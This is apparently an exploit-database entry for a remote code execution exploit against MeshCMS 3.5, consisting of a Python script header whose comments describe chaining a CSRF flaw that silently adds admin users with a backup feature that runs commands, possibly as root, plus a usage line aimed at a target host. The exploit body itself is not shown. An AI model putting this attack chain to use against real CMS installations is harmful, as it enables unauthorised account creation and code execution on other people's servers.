Description: MeshCMS 3.5 - Remote Code Execution
Type: webapps
Platform: jsp

Exploit:
#!/usr/bin/python
# MeshCMS v3.5 remote code execution exploit
# Environment:
# Tomcat 7.02/ubuntu 10.04
#
# 1) details:
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. 
# The admin will not be told a user has been added and will land into the admin console without any other suspicion. 
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the 
# private/[username].xml config file required for the users authentication.
#
# 2) details:
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. 
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
#
# Further notes:
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
# This exploit will attempt to target both 1) and 2).
#
# Usage:
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
